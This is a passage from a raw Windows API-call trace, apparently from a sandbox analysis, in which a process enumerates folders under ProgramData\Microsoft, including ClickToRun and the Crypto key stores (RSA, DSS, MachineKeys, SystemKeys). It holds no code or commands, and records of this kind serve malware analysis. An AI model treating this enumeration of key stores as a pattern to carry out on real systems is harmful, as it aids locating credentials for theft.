dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0209.668] FindClose (in: hFindFile=0x1d46a120 | out: hFindFile=0x1d46a120) returned 1 [0209.668] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad90) returned 1 [0209.668] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\UserData", nBufferLength=0x105, lpBuffer=0x1f2db8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\UserData", lpFilePart=0x0) returned 0x30 [0209.668] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\UserData\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\userdata\\*"), lpFindFileData=0x1f2dbaf0 | out: lpFindFileData=0x1f2dbaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1c4bfed4, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1c4bfed4, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1c4bfed4, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d4697c0 [0209.669] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1c4bfed4, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1c4bfed4, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1c4bfed4, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.669] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1c4bfed4, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1c4bfed4, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1c4bfed4, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0209.669] FindClose (in: hFindFile=0x1d4697c0 | out: hFindFile=0x1d4697c0) returned 1 [0209.669] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dbd10) returned 1 [0209.669] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\UserData", nBufferLength=0x105, lpBuffer=0x1f2db8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\UserData", lpFilePart=0x0) returned 0x30 [0209.669] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\UserData\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\userdata\\*"), lpFindFileData=0x1f2dbaf0 | out: lpFindFileData=0x1f2dbaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1c4bfed4, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1c4bfed4, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1c4bfed4, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a120 [0209.669] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1c4bfed4, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1c4bfed4, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1c4bfed4, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.670] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1c4bfed4, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1c4bfed4, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1c4bfed4, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0209.670] FindClose (in: hFindFile=0x1d46a120 | out: hFindFile=0x1d46a120) returned 1 [0209.670] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dbd10) returned 1 [0209.670] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", nBufferLength=0x105, lpBuffer=0x1f2db8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpFilePart=0x0) returned 0x4e [0209.670] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\*"), lpFindFileData=0x1f2dbaf0 | out: lpFindFileData=0x1f2dbaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x828cdbb9, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0xe25ce006, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xe25ce006, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.831] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x828cdbb9, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0xe25ce006, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xe25ce006, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.831] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x828cdbb9, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x828cdbb9, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x64e40818, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0xd1e70, dwReserved0=0x0, dwReserved1=0x0, cFileName="integrator.exe", cAlternateFileName="INTEGR~1.EXE")) returned 1 [0209.832] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.832] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.833] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dbd10) returned 1 [0209.833] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", nBufferLength=0x105, lpBuffer=0x1f2db8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpFilePart=0x0) returned 0x4e [0209.833] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\*"), lpFindFileData=0x1f2dbaf0 | out: lpFindFileData=0x1f2dbaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x828cdbb9, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0xe25ce006, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xe25ce006, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.834] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x828cdbb9, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0xe25ce006, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xe25ce006, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.835] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x828cdbb9, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x828cdbb9, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x64e40818, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0xd1e70, dwReserved0=0x0, dwReserved1=0x0, cFileName="integrator.exe", cAlternateFileName="INTEGR~1.EXE")) returned 1 [0209.835] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x828cdbb9, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x828cdbb9, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x64e40818, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0xd1e70, dwReserved0=0x0, dwReserved1=0x0, cFileName="integrator.exe", cAlternateFileName="INTEGR~1.EXE")) returned 0 [0209.835] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.836] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dbd10) returned 1 [0209.836] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto", nBufferLength=0x105, lpBuffer=0x1f2dc080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto", lpFilePart=0x0) returned 0x23 [0209.836] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\*" (normalized: "c:\\users\\all users\\microsoft\\crypto\\*"), lpFindFileData=0x1f2dc2b0 | out: lpFindFileData=0x1f2dc2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd54314ca, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xd54314ca, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.837] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd54314ca, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xd54314ca, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.837] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DSS", cAlternateFileName="")) returned 1 [0209.837] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Keys", cAlternateFileName="")) returned 1 [0209.837] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PCPKSP", cAlternateFileName="")) returned 1 [0209.837] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc4a8a1, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0xc4a8a1, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 1 [0209.837] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd54314ca, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xd54314ca, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xd54314ca, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemKeys", cAlternateFileName="SYSTEM~1")) returned 1 [0209.837] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd54314ca, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xd54314ca, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xd54314ca, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemKeys", cAlternateFileName="SYSTEM~1")) returned 0 [0209.837] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.837] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dc4d0) returned 1 [0209.838] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto", nBufferLength=0x105, lpBuffer=0x1f2dc080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto", lpFilePart=0x0) returned 0x23 [0209.838] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\*" (normalized: "c:\\users\\all users\\microsoft\\crypto\\*"), lpFindFileData=0x1f2dc2b0 | out: lpFindFileData=0x1f2dc2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd54314ca, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xd54314ca, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.838] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd54314ca, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xd54314ca, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.838] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DSS", cAlternateFileName="")) returned 1 [0209.838] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Keys", cAlternateFileName="")) returned 1 [0209.838] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PCPKSP", cAlternateFileName="")) returned 1 [0209.838] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc4a8a1, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0xc4a8a1, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 1 [0209.839] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd54314ca, ftCreationTime.dwHighDateTime=0x1d70067, ftLastAccessTime.dwLowDateTime=0xd54314ca, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xd54314ca, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemKeys", cAlternateFileName="SYSTEM~1")) returned 1 [0209.839] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.839] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.839] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dc4d0) returned 1 [0209.839] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS", nBufferLength=0x105, lpBuffer=0x1f2db8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS", lpFilePart=0x0) returned 0x27 [0209.839] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\*" (normalized: "c:\\users\\all users\\microsoft\\crypto\\dss\\*"), lpFindFileData=0x1f2dbaf0 | out: lpFindFileData=0x1f2dbaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.840] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.840] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 1 [0209.840] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 0 [0209.840] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.840] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dbd10) returned 1 [0209.840] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS", nBufferLength=0x105, lpBuffer=0x1f2db8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS", lpFilePart=0x0) returned 0x27 [0209.840] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\*" (normalized: "c:\\users\\all users\\microsoft\\crypto\\dss\\*"), lpFindFileData=0x1f2dbaf0 | out: lpFindFileData=0x1f2dbaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0209.841] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.841] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 1 [0209.841] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1f2dbab0 | out: lpFindFileData=0x1f2dbab0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.841] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0209.841] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dbd10) returned 1 [0209.841] GetFullPathNameW (in: lpFileName="C:\\Users\\All 